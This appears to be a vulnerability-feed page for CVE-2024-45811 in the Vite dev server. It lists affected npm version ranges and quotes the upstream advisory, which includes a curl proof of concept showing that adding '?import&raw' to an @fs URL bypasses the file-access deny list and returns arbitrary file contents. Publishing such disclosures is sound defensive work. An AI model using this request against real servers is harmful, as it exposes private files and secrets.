Answer in brief
CVE-2024-45811 records a Medium severity vulnerability in server.fs.deny bypassed when using ?import&raw. The current sources do not mark it as known exploited. The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| vitenpm | >=5.4.0,<=5.4.5 | Not reported |
| vitenpm | >=5.3.0,<=5.3.5 | Not reported |
| vitenpm | >=5.0.0,<=5.2.13 | Not reported |
| vitenpm | >=5.0.0,<=5.1.7 | Not reported |
| vitenpm | >=4.0.0,<=4.5.3 | Not reported |
| vitenpm | <=3.2.10 | Not reported |
Published upstream
Sep 17, 2024
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Sep 17, 2024
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 25, 2026
### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
Quoted source text, attributed separately from HOL analysis.